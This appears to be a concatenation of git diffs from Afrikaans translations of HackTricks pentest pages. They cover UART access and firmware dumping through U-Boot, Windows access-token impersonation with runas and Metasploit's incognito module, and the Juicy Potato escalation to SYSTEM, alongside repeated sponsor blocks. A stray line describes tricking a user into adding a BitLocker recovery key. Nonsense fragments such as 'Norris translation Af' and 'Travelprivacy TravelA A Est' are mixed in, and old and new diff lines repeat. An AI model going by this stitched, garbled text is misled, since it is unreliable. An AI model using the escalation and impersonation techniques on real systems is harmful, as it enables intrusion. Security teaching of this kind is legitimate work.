<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
'n Nuwe BitLocker-herstelsleutel kan deur maatskaplike ingenieurswese-taktieke bygevoeg word, deur 'n gebruiker te oortuig om 'n opdrag uit te voer wat 'n nuwe herstelsleutel van nulle byvoeg, wat sodoende die dekripsieproses vereenvoudig.

View file

@ -14,50 +14,64 @@ Ander maniere om HackTricks te ondersteun:
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steelmalware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneem en losgeldaanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
UART is 'n seriële protokol, wat beteken dat dit data tussen komponente een bit op 'n slag oordra. In teenstelling, oordra parallelle kommunikasieprotokolle data gelyktydig deur meervoudige kanale. Gewone seriële protokolle sluit RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, en USB in.
Gewoonlik word die lyn hoog gehou (op 'n logiese 1-waarde) terwyl UART in die idle-toestand is. Dan, om die begin van 'n data-oordrag aan te dui, stuur die versender 'n beginbit na die ontvanger, tydens watter die sein laag gehou word (op 'n logiese 0-waarde). Vervolgens stuur die versender vyf tot agt databits wat die werklike boodskap bevat, gevolg deur 'n opsionele pariteitsbit en een of twee stopbietjies (met 'n logiese 1-waarde), afhangende van die konfigurasie. Die pariteitsbit, wat vir foutkontrole gebruik word, word selde in die praktyk gesien. Die stopbit (of bietjies) dui die einde van die oordrag aan.
Ons noem die mees algemene konfigurasie 8N1: agt databits, geen pariteit, en een stopbit. Byvoorbeeld, as ons die karakter C, of 0x43 in ASCII, in 'n 8N1 UART-konfigurasie wou stuur, sou ons die volgende bietjies stuur: 0 (die beginbit); 0, 1, 0, 0, 0, 0, 1, 1 (die waarde van 0x43 in binêre vorm), en 0 (die stopbit).
Ons noem die mees algemene konfigurasie 8N1: agt databits, geen pariteit, en een stopbit. Byvoorbeeld, as ons die karakter C, of 0x43 in ASCII, in 'n 8N1 UART-konfigurasie wou stuur, sou ons die volgende bietjies stuur: 0 (die beginbit); 0, 1, 0, 0, 0, 0, 1, 1 (die waarde van 0x43 in binêre), en 0 (die stopbit).
![](<../../.gitbook/assets/image (761).png>)
Hardeware gereedskap om met UART te kommunikeer:
Hardeware-instrumente om met UART te kommunikeer:
* USB-na-seriële adapter
* USB-na-seriële-adapter
* Adapters met die CP2102 of PL2303 skyfies
* Veeldoelige gereedskap soos: Bus Pirate, die Adafruit FT232H, die Shikra, of die Attify Badge
* Veeldoelige instrument soos: Bus Pirate, die Adafruit FT232H, die Shikra, of die Attify Badge
### Identifisering van UART-poorte
UART het 4 poorte: **TX**(Stuur), **RX**(Ontvang), **Vcc**(Spanning), en **GND**(Grond). Jy mag dalk 4 poorte met die **`TX`** en **`RX`** letters **geskryf** op die PCB vind. Maar as daar geen aanduiding is nie, mag jy dit dalk self moet probeer vind met 'n **multimeter** of 'n **logika-analiseerder**.
UART het 4 poorte: **TX**(Stuur), **RX**(Ontvang), **Vcc**(Spanning), en **GND**(Grond). Jy mag dalk 4 poorte met die **`TX`** en **`RX`**-letters **geskryf** op die PCB vind. Maar as daar geen aanduiding is nie, mag jy dit dalk self moet probeer vind met 'n **multimeter** of 'n **logika-analiseerder**.
Met 'n **multimeter** en die toestel afgeskakel:
* Om die **GND**-pen te identifiseer, gebruik die **Deurlooptoets**-modus, plaas die agterleier in die grond en toets met die rooi een totdat jy 'n geluid van die multimeter hoor. Verskeie GND-penne kan op die PCB gevind word, sodat jy dalk die een wat aan UART behoort, gevind het of nie.
* Om die **VCC-poort** te identifiseer, stel die **DC-spanningsmodus** in en stel dit op tot 20 V spanning. Swart sonde op grond en rooi sonde op die pen. Skakel die toestel aan. As die multimeter 'n konstante spanning van óf 3.3 V óf 5 V meet, het jy die Vcc-pen gevind. As jy ander spanninge kry, probeer met ander poorte.
* Om die **TX** **poort** te identifiseer, **DC-spanningsmodus** tot 20 V spanning, swart sonde op grond, en rooi sonde op die pen, en skakel die toestel aan. As jy vind dat die spanning vir 'n paar sekondes fluktueer en dan stabiliseer teen die Vcc-waarde, het jy waarskynlik die TX-poort gevind. Dit is omdat dit wanneer dit aangeskakel word, 'n paar foutdata stuur.
* Die **RX-poort** sou die naaste een aan die ander 3 wees, dit het die laagste spanningfluktuerings en die laagste algehele waarde van al die UART-penne.
* Om die **TX**-poort te identifiseer, **DC-spanningsmodus** tot 20 V spanning, swart sonde op grond, en rooi sonde op die pen, en skakel die toestel aan. As jy vind dat die spanning vir 'n paar sekondes fluktueer en dan stabiliseer teen die Vcc-waarde, het jy waarskynlik die TX-poort gevind. Dit is omdat dit wanneer dit aangeskakel word, 'n paar foutopsporingsdata stuur.
* Die **RX-poort** sou die naaste een tot die ander 3 wees, dit het die laagste spanningfluktuerings en die laagste algehele waarde van al die UART-penne.
Jy kan die TX- en RX-poorte verwar en niks sal gebeur nie, maar as jy die GND- en die VCC-poort verwar, kan jy die stroombaan beskadig.
In sommige teikentoestelle is die UART-poort deur die vervaardiger gedeaktiveer deur RX of TX of selfs beide te deaktiveer. In daardie geval kan dit nuttig wees om die verbindinge op die stroombord na te spoor en 'n paar breekpunte te vind. 'n Sterk aanduiding dat daar geen opsporing van UART is nie en die onderbreking van die stroombaan, is om die toestelwaarborg te kontroleer. As die toestel met 'n waarborg gestuur is, laat die vervaardiger 'n paar foutopsporingskoppelvlakke (in hierdie geval, UART) en het dus die UART afgeskakel en sal dit weer aanskakel terwyl dit foutopsporing doen. Hierdie breekpunte kan deur soldering of jumperdrade aangesluit word.
In sommige teikentoestelle is die UART-poort deur die vervaardiger gedeaktiveer deur RX of TX of selfs beide te deaktiveer. In daardie geval kan dit nuttig wees om die verbindings in die stroombord na te spoor en 'n paar breekpunte te vind. 'n Sterk aanduiding dat daar geen opsporing van UART is nie en dat die stroombaan gebreek is, is om die toestelwaarborg te kontroleer. As die toestel met 'n waarborg gestuur is, laat die vervaardiger 'n paar foutopsporingskoppelvlakke (in hierdie geval, UART) agter en het dus die UART afgeskakel en sal dit weer aanskakel terwyl dit foutopsporing doen. Hierdie breekpunte kan deur soldering of jumperdrade aangesluit word.
### Identifisering van die UART Baud Tempo
### Identifisering van die UART-boudkoers
Die maklikste manier om die korrekte baud tempo te identifiseer, is om na die **TX-pen se uitset te kyk en probeer om die data te lees**. As die data wat jy ontvang nie leesbaar is nie, skakel oor na die volgende moontlike baud tempo totdat die data leesbaar word. Jy kan 'n USB-na-seriële adapter of 'n veeldoelige toestel soos Bus Pirate gebruik om dit te doen, gekoppel met 'n hulpprogram, soos [baudrate.py](https://github.com/devttys0/baudrate/). Die mees algemene baud tempos is 9600, 38400, 19200, 57600, en 115200.
Die maklikste manier om die korrekte boudkoers te identifiseer, is om na die **TX-pen se uitset te kyk en te probeer om die data te lees**. As die data wat jy ontvang nie leesbaar is nie, skakel oor na die volgende moontlike boudkoers totdat die data leesbaar word. Jy kan 'n USB-na-seriële-adapter of 'n veeldoelige toestel soos Bus Pirate hiervoor gebruik, gekoppel met 'n hulpprogram, soos [baudrate.py](https://github.com/devttys0/baudrate/). Die mees algemene boudkoerse is 9600, 38400, 19200, 57600, en 115200.
{% hint style="danger" %}
Dit is belangrik om in ag te neem dat in hierdie protokol jy die TX van die een toestel aan die RX van die ander moet koppel!
Dit is belangrik om daarop te let dat in hierdie protokol jy die TX van die een toestel aan die RX van die ander moet koppel!
{% endhint %}
## CP210X UART na TTY-Adapter
## CP210X UART na TTY-adapter
Die CP210X Skyf word gebruik in baie prototiperingborde soos NodeMCU (met esp8266) vir Seriële Kommunikasie. Hierdie adapters is relatief goedkoop en kan gebruik word om met die UART-koppelvlak van die teiken te verbind. Die toestel het 5-penne: 5V, GND, RXD, TXD, 3.3V. Maak seker om die spanning soos ondersteun deur die teiken te verbind om enige skade te voorkom. Verbind uiteindelik die RXD-pen van die Adapter met die TXD van die teiken en die TXD-pen van die Adapter met die RXD van die teiken.
Die CP210X Skyf word gebruik in baie prototiperingborde soos NodeMCU (met esp8266) vir Seriële Kommunikasie. Hierdie adapters is relatief goedkoop en kan gebruik word om met die UART-koppelvlak van die teiken te verbind. Die toestel het 5-penne: 5V, GND, RXD, TXD, 3.3V. Maak seker om die spanning soos ondersteun deur die teiken te verbind om enige skade te voorkom. Verbind uiteindelik die RXD-pen van die Adapter aan die TXD van die teiken en die TXD-pen van die Adapter aan die RXD van die teiken.
As die adapter nie opgespoor word nie, maak seker dat die CP210X-bestuurders in die gasstelsel geïnstalleer is. Sodra die adapter opgespoor en gekoppel is, kan gereedskap soos picocom, minicom of skerm gebruik word.
Indien die adapter nie opgespoor word nie, maak seker dat die CP210X-bestuurders in die gasstelsel geïnstalleer is. Sodra die adapter opgespoor en verbind is, kan gereedskap soos picocom, minicom of skerm gebruik word.
Om die toestelle wat aan Linux/MacOS-stelsels gekoppel is, te lys:
```
@ -77,7 +91,7 @@ Na konfigurasie, gebruik die bevel `minicom` om die UART-konsole te begin.
## UART Via Arduino UNO R3 (Verwyderbare Atmel 328p Chip Borde)
Indien UART Seriële na USB-omsetters nie beskikbaar is nie, kan 'n Arduino UNO R3 met 'n vinnige hak gebruik word. Aangesien die Arduino UNO R3 gewoonlik oral beskikbaar is, kan dit baie tyd bespaar.
Indien UART Serial na USB-omsetters nie beskikbaar is nie, kan 'n Arduino UNO R3 met 'n vinnige hak gebruik word. Aangesien 'n Arduino UNO R3 gewoonlik oral beskikbaar is, kan dit baie tyd bespaar.
Arduino UNO R3 het 'n USB na Seriële omsetter wat op die bord self ingebou is. Om 'n UART-verbinding te kry, trek net die Atmel 328p mikrokontroller-skyfie uit die bord. Hierdie hak werk op Arduino UNO R3-variante waar die Atmel 328p nie op die bord gesoldeer is nie (SMD-weergawe word daarin gebruik). Verbind die RX-pen van die Arduino (Digitale Pen 0) met die TX-pen van die UART-koppelvlak en die TX-pen van die Arduino (Digitale Pen 1) met die RX-pen van die UART-koppelvlak.
@ -159,15 +173,15 @@ waiting a few secs to repeat....
```
## Dumping Firmware met UART-konsole
UART-konsole bied 'n uitstekende manier om met die onderliggende firmware in die uitvoeringsomgewing te werk. Maar wanneer die toegang tot die UART-konsole slegs leesbaar is, kan dit baie beperkings inbring. In baie ingebedde toestelle word die firmware gestoor in EEPROM's en uitgevoer in verwerkers met vlugtige geheue. Daarom word die firmware as leesbaar gehou aangesien die oorspronklike firmware tydens vervaardiging binne die EEPROM self is en enige nuwe lêers sou verlore gaan as gevolg van vlugtige geheue. Daarom is dit waardevol om die firmware te dump terwyl jy met ingebedde firmwares werk.
UART-konsole bied 'n uitstekende manier om met die onderliggende firmware in die uitvoeringsomgewing te werk. Maar wanneer die toegang tot die UART-konsole slegs leesbaar is, kan dit baie beperkings inbring. In baie ingebedde toestelle word die firmware gestoor in EEPROM's en uitgevoer in verwerkers met vlugtige geheue. Daarom word die firmware as leesbaar gehou aangesien die oorspronklike firmware tydens vervaardiging binne die EEPROM self is en enige nuwe lêers sou verlore gaan as gevolg van vlugtige geheue. Daarom is dit waardevol om firmware te dump terwyl jy met ingebedde firmwares werk.
Daar is baie maniere om dit te doen en die SPI-afdeling dek metodes om die firmware direk uit die EEPROM met verskeie toestelle te onttrek. Alhoewel, dit word aanbeveel om eers te probeer om die firmware te dump met UART aangesien die dump van firmware met fisiese toestelle en eksterne interaksies riskant kan wees.
Daar is baie maniere om dit te doen en die SPI-afdeling dek metodes om firmware direk uit die EEPROM met verskeie toestelle te onttrek. Alhoewel, dit word aanbeveel om eers te probeer om firmware te dump met UART aangesien dit riskant kan wees om firmware te dump met fisiese toestelle en eksterne interaksies.
Die dump van firmware vanaf die UART-konsole vereis dat jy eerste toegang tot die aanvangsladers kry. Baie gewilde verskaffers maak gebruik van <b>uboot</b> (Universal Bootloader) as hul aanvangslader om Linux te laai. Daarom is dit noodsaaklik om toegang tot <b>uboot</b> te kry.
Firmware dump vanaf die UART-konsole vereis dat jy eerste toegang tot die aanvangsladers kry. Baie gewilde verskaffers maak gebruik van <b>uboot</b> (Universal Bootloader) as hul aanvangslader om Linux te laai. Daarom is dit noodsaaklik om toegang tot <b>uboot</b> te verkry.
Om toegang tot die <b>boot</b> aanvangslader te kry, verbind die UART-poort met die rekenaar en gebruik enige van die Seriële Konsole-hulpmiddels en hou die kragtoevoer na die toestel afgeskakel. Wanneer die opstelling gereed is, druk die Enter-sleutel in en hou dit vas. Verbind uiteindelik die kragtoevoer met die toestel en laat dit opstart.
Om toegang tot die <b>boot</b> aanvangslader te kry, verbind die UART-poort met die rekenaar en gebruik enige van die Seriële Konsole-hulpmiddels en hou die kragtoevoer na die toestel afgeskakel. Wanneer die opstelling gereed is, druk die Enter-sleutel in en hou dit vas. Verbind uiteindelik die kragtoevoer na die toestel en laat dit opstart.
Deur dit te doen, sal dit <b>uboot</b> onderbreek om te laai en 'n kieslys voorsien. Dit word aanbeveel om <b>uboot</b> bevele te verstaan en die hulpkieslys te gebruik om hulle te lys. Dit kan die `help` bevel wees. Aangesien verskillende verskaffers verskillende konfigurasies gebruik, is dit noodsaaklik om elkeen van hulle afsonderlik te verstaan.
Deur dit te doen, sal dit <b>uboot</b> onderbreek om te laai en 'n kieslys te verskaf. Dit word aanbeveel om <b>uboot</b> bevele te verstaan en die hulpkieslys te gebruik om hulle te lys. Dit kan die `help` bevel wees. Aangesien verskillende verskaffers verskillende konfigurasies gebruik, is dit noodsaaklik om elkeen van hulle afsonderlik te verstaan.
Gewoonlik is die bevel om die firmware te dump:
```
@ -179,17 +193,31 @@ Laastens, sny net al die onnodige data uit die log-lêer uit en stoor die lêer
```
binwalk -e <filename.rom>
```
Dit sal die moontlike inhoud van die EEPROM lys volgens die handtekeninge wat in die hekslêer gevind is.
Dit sal die moontlike inhoud van die EEPROM lys volgens die handtekeninge wat in die heks-lêer gevind is.
Alhoewel dit noodsaaklik is om op te let dat dit nie altyd die geval is dat die <b>uboot</b> oopgemaak is selfs as dit gebruik word nie. As die Enter-sleutel niks doen nie, kyk vir verskillende sleutels soos die Spasiesleutel, ens. As die laaierslot is en nie onderbreek word nie, sal hierdie metode nie werk nie. Om te kyk of <b>uboot</b> die laaier vir die toestel is, kyk na die uitset op die UART-konsole terwyl die toestel aan die laai is. Dit kan <b>uboot</b> noem terwyl dit aan die laai is.
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
Alhoewel dit noodsaaklik is om op te let dat dit nie altyd die geval is dat die <b>uboot</b> oopgemaak is selfs as dit gebruik word nie. As die Enter-sleutel niks doen nie, kyk vir verskillende sleutels soos die Spasiesleutel, ens. As die opstartlader gesluit is en nie onderbreek word nie, sal hierdie metode nie werk nie. Om te kyk of <b>uboot</b> die opstartlader vir die toestel is, kyk na die uitset op die UART-konsole terwyl die toestel opstart. Dit kan <b>uboot</b> noem terwyl dit opstart.
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,9 +12,23 @@
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle te voorkom wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Toegangstokens
Elke **gebruiker wat ingeteken is** op die stelsel **beskik oor 'n toegangstoken met sekuriteitsinligting** vir daardie intekensessie. Die stelsel skep 'n toegangstoken wanneer die gebruiker inteken. **Elke proses wat uitgevoer word** namens die gebruiker **het 'n kopie van die toegangstoken**. Die token identifiseer die gebruiker, die gebruiker se groepe, en die gebruiker se voorregte. 'n Token bevat ook 'n intekensid (Security Identifier) wat die huidige intekensessie identifiseer.
Elke **gebruiker wat ingeteken** is op die stelsel **het 'n toegangstoken met sekuriteitsinligting** vir daardie intekensessie. Die stelsel skep 'n toegangstoken wanneer die gebruiker inteken. **Elke proses wat uitgevoer word** namens die gebruiker **het 'n kopie van die toegangstoken**. Die token identifiseer die gebruiker, die gebruiker se groepe, en die gebruiker se voorregte. 'n Token bevat ook 'n intekensid (Sekuriteitsidentifiseerder) wat die huidige intekensessie identifiseer.
Jy kan hierdie inligting sien deur `whoami /all` uit te voer.
```
@ -65,9 +79,9 @@ SeTimeZonePrivilege Change the time zone Disabled
Wanneer 'n plaaslike administrateur aanmeld, **word twee toegangstokens geskep**: Een met administrateursregte en die ander met normale regte. **Standaard** word die een met **gewone** (nie-administrateur) **regte gebruik** wanneer hierdie gebruiker 'n proses uitvoer. Wanneer hierdie gebruiker iets probeer **uitvoer as administrateur** ("Uitvoer as Administrateur" byvoorbeeld), sal die **UAC** gebruik word om vir toestemming te vra.\
As jy meer wil leer oor die UAC, [**lees hierdie bladsy**](../authentication-credentials-uac-and-efs/#uac)**.**
### Gebruikersimpersonasie van geloofsbriewe
### Gelde gebruiker simulasie
As jy **geldige geloofsbriewe van enige ander gebruiker** het, kan jy 'n **nuwe aanmeldsessie skep** met daardie geloofsbriewe:
As jy **geldige geloofsbriewe van enige ander gebruiker** het, kan jy 'n **nuwe aanmeldsessie** skep met daardie geloofsbriewe:
```
runas /user:domain\username cmd.exe
```
@ -83,15 +97,15 @@ Dit is nuttig as jy nuttige geloofsbriewe het om voorwerpe in die netwerk te ben
Daar is twee tipes tokens beskikbaar:
* **Primêre Token**: Dit dien as 'n verteenwoordiging van 'n proses se sekuriteitsgelde. Die skepping en assosiasie van primêre tokens met prosesse is aksies wat verhoogde bevoegdhede vereis, wat die beginsel van bevoegdheidsskeiding beklemtoon. Tipies is 'n verifikasiediens verantwoordelik vir token-skepping, terwyl 'n aanmeldingsdiens dit hanteer met die gebruiker se bedryfstelselshell. Dit is die moeite werd om op te let dat prosesse die primêre token van hul ouerproses by skepping erf.
* **Impersonation Token**: Gee 'n bedienerprogram die vermoë om tydelik die identiteit van die klient aan te neem vir die benadering van veilige voorwerpe. Hierdie meganisme is verdeel in vier vlakke van werking:
* **Anoniem**: Verleen bedienertoegang soortgelyk aan dié van 'n ongeïdentifiseerde gebruiker.
* **Identifikasie**: Laat die bediener toe om die klient se identiteit te verifieer sonder om dit vir voorwerptoegang te gebruik.
* **Impersonation Token**: Gee 'n bediener-toepassing die vermoë om tydelik die identiteit van die klient aan te neem vir die benadering van veilige voorwerpe. Hierdie meganisme is verdeel in vier vlakke van werking:
* **Anoniem**: Verleen bediener-toegang soortgelyk aan dié van 'n ongeïdentifiseerde gebruiker.
* **Identifikasie**: Laat die bediener toe om die klient se identiteit te verifieer sonder om dit vir voorwerpstoegang te gebruik.
* **Impersonation**: Stel die bediener in staat om onder die klient se identiteit te werk.
* **Delegasie**: Soortgelyk aan Impersonation, maar sluit die vermoë in om hierdie identiteitsaannames na afgeleë stelsels uit te brei waarmee die bediener interaksie het, om geloofsbriewe te behou.
* **Delegasie**: Soortgelyk aan Impersonation, maar sluit die vermoë in om hierdie identiteitsaanneming na afgeleë stelsels uit te brei waarmee die bediener interaksie het, om geloofsbriewe te behou.
#### Impersonate Tokens
Deur die _**incognito**_ module van metasploit te gebruik as jy genoeg bevoegdhede het, kan jy maklik **lys** en **impersonate** ander **tokens**. Dit kan nuttig wees om **handelinge uit te voer asof jy die ander gebruiker was**. Jy kan ook **bevoegdhede eskaleer** met hierdie tegniek.
Deur die _**incognito**_ module van metasploit te gebruik as jy genoeg bevoegdhede het, kan jy maklik ander **tokens** **lys** en **impersonate**. Dit kan nuttig wees om **handelinge uit te voer asof jy die ander gebruiker was**. Jy kan ook **bevoegdhede eskaleer** met hierdie tegniek.
### Token Bevoegdhede
@ -101,8 +115,33 @@ Leer watter **token bevoegdhede misbruik kan word om bevoegdhede te eskaleer:**
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
{% endcontent-ref %}
Neem 'n kyk na [**al die moontlike token bevoegdhede en enkele definisies op hierdie eksterne bladsy**](https://github.com/gtworek/Priv2Admin).
Neem 'n kykie na [**al die moontlike token bevoegdhede en enkele definisies op hierdie eksterne bladsy**](https://github.com/gtworek/Priv2Admin).
## Verwysings
Leer meer oor tokens in hierdie tutoriale: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) en [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en losgeldaanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -12,8 +12,22 @@
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 bou 1809 en later nie. Nietemin, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) kan gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlak toegang te verkry. _**Kyk:**_
**JuicyPotato werk nie** op Windows Server 2019 en Windows 10 bou 1809 en later nie. Nietemin kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlaktoegang te verkry. _**Kyk:**_
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %}
@ -22,89 +36,45 @@
## Juicy Potato (misbruik van die goue voorregte) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_'n Gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **'n Ander Plaaslike Voorregverhogingshulpmiddel, van 'n Windows-diensrekening tot NT AUTHORITY\SYSTEM**_
_'n Gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **'n ander plaaslike voorregskapingstool, van 'n Windows-diensrekening na NT AUTHORITY\SYSTEM**_
#### Jy kan juicypotato aflaai van [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Opsomming <a href="#summary" id="summary"></a>
[**Van juicy-potato Leesmy**](https://github.com/ohpe/juicy-potato/blob/master/README.md Norris translation Af
[**Van juicy-potato Leesmy**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) en sy [variant](https://github.com/decoder-it/lonelypotato) benut die voorregskapingketting gebaseer op [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [diens](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) met die MiTM-luisteraar op `127.0.0.1:6666` en wanneer jy `SeImpersonate` of `SeAssignPrimaryToken` voorregte het. Tydens 'n Windows-bouhersiening het ons 'n opstelling gevind waar `BITS` opsetlik uitgeskakel was en poort `6666` geneem was.
Ons het besluit om [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) te bewapen: **Sê hallo aan Juicy Potato**.
> Vir die teorie, sien [Rotten Potato - Voorregskaping van Diensrekeninge na SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) en volg die ketting van skakels en verwysings.
Ons het ontdek dat, behalwe `BITS`, daar 'n paar COM-bedienerse is wat ons kan misbruik. Hulle moet net:
1. installeerbaar wees deur die huidige gebruiker, normaalweg 'n "diensgebruiker" wat impersonasievoorregte het
2. die `IMarshal`-koppelvlak implementeer
3. as 'n verhewe gebruiker loop (SYSTEM, Administrateur, ...)
Na 'n bietjie toetsing het ons 'n uitgebreide lys van [interessante CLSID's](http://ohpe.it/juicy-potato/CLSID/) op verskeie Windows-weergawes verkry en getoets.
### Sappige besonderhede <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato laat jou toe om:
Travelprivacy
TravelA A Est
* **Teiken CLSID** _kies enige CLSID wat jy wil._ [_Hier_](http://ohpe.it/juicy-potato/CLSID/) _kan jy die lys georganiseer volgens OS vind._
